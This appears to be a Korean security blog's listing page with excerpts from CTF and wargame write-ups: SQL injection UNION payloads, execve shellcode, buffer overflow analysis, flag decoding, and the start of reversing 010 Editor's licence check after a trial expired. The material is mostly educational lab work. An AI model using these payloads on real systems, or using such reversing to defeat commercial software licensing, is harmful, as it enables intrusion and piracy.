목록Security (9)
수호의 메모장

Pets 파라미터에 SQL Injection 취약점이 존재한다. ' UNION SELECT null, null -- 위 페이로드를 통해 칼럼 수가 2임을 알 수 있다. ' UNION SELECT table_name, null from information_schema.tables -- 위 페이로드를 통해 table_name 들을 가지고 올 수 있다. 위 같은 경우 'users_zpyjut' table이 우리에게 있어 흥미로운 테이블임을 알 수 있다. 위 테이블을 대상으로 앞으로 SQL Injection을 진행할 예정이다. ' UNION SELECT column_name, null from information_schema.columns where table_name= 'users_zpyjut' -- 위 ..

execve('/bin/sh', 0, 0); 위 코드를 실행하면 '/bin/sh'이 실행되면서 shell을 획득할 수 있다. 이를 어셈블리어로 작성해보면 아래와 같다: mov rax,0x68732f6e69622f push rax mov rdi,rsp xor rsi,rsi xor rdx,rdx mov rax,59 syscall https://x64.syscall.sh/ x64.syscall.sh System calls for x64 x64.syscall.sh syscall table은 위 사이트에서 확인이 가능하다. 이를 nasm을 사용하여 object 파일을 만들 수 있다: objdump로 shellcode를 확인할 수 있다: shellcode를 실제 C 코드로 실행해보자: #include #includ..

https://dreamhack.io/wargame/challenges/981 Permpkin Description chall 바이너리를 실행하여 플래그를 어떠한 연산을 거쳐 나온 결과를 flag1.txt와 flag2.txt로 저장하였습니다. 사용자는 chall 을 실행하여 sample flag를 연산한 후 rev1.txt와 rev2.txt 파일을 생성 dreamhack.io IDA로 main 함수를 열어보면 아래와 같이 되어 있다: __int64 __fastcall main(int a1, char **a2, char **a3) { size_t v3; // rbx size_t v4; // rbx char v6[32]; // [rsp+0h] [rbp-B0h] BYREF char v7[32]; // [rsp..

보호 기법이 적용돼 있지 않는 바이너리다. Segmentation fault가 발생하는 것으로 보아 BOF가 발생하는 것을 알 수 있다. main 함수를 의사코드로 표현하면 아래와 같다: int main() { func(0xDEADBEEF); return 0; } func의 의사코드로 표현하면 아래와 같다: void func(int a1){ char buf[32]; printf("overflow me : "); gets(buf); if(a1 == 0x41424344){ system("/bin/sh"); } else{ printf("Nah..\n"); } } func의 스택을 그리면 아래와 같다 0x080491a6 : push ebp 0x080491a7 : mov ebp,esp 0x080491a9 : pu..

The provided page 'Sense and Sensitivity!' are as follows: It shows up simple welcome page, seems like there is no interesting information here. There's one login page in /login.php Inside the source code of /login.php, there is one interesting comment indicating that database is being stored in /assets. boom! webapp.db can be located here, webapp.db is a SQLite database file, by using SQLite I ..

https://www.ascii-code.com/ flag[0] = 0x78 ^ 0x34 == L flag[1] = 0x31 == 1 flag[2] = 0x7C ^ 0x32 == N flag[3] = 0xFFFFFFDD ^ 0x88 = 0x55 == U flag[4] = 0x58 == X flag[5] = ' '

#include int main() { int input = 0; //mov dword ptr [ebp-4], 0 printf("This is Password Gussing Problem>>"); //0x804a008 scanf("%d", &input); //0x47006425 if (input == "0x113") printf("Good Job!!"); //0x804a02f else printf("Sorry... Try Again.. :("); //0x804a03a return 0; } psuedocode

헥스에디터로 뭐 하나 분석하려고 했건만 30일 체험판이 끝나버렸대요 ಢ‸ಢ 010 Editor의 편리함을 아는 나는 차마 HxD로 돌아가기 싫어하는데.. 제겐 든든한 아이다씨가 있죠! 먼저 만료된 010 Editor을 실행시키면 아래와 같은 String을 포착할 수 있어요: IDA로 String을 추출시키고 xref를 따라가 봅시다 위의 함수로 이동 되는데, 이것을 hexray로 디컴파일 하면 아래와 같은 의사코드가 나와요 딱봐도 라이센싱과 관련된 함수로 보이죠? 전체 의사코드는 아래와 같아요: void __fastcall j_nullsub_54_0(__int64 a1) { int v2; // r15d __int64 v3; // rax const struct QString *v4; // rbx const..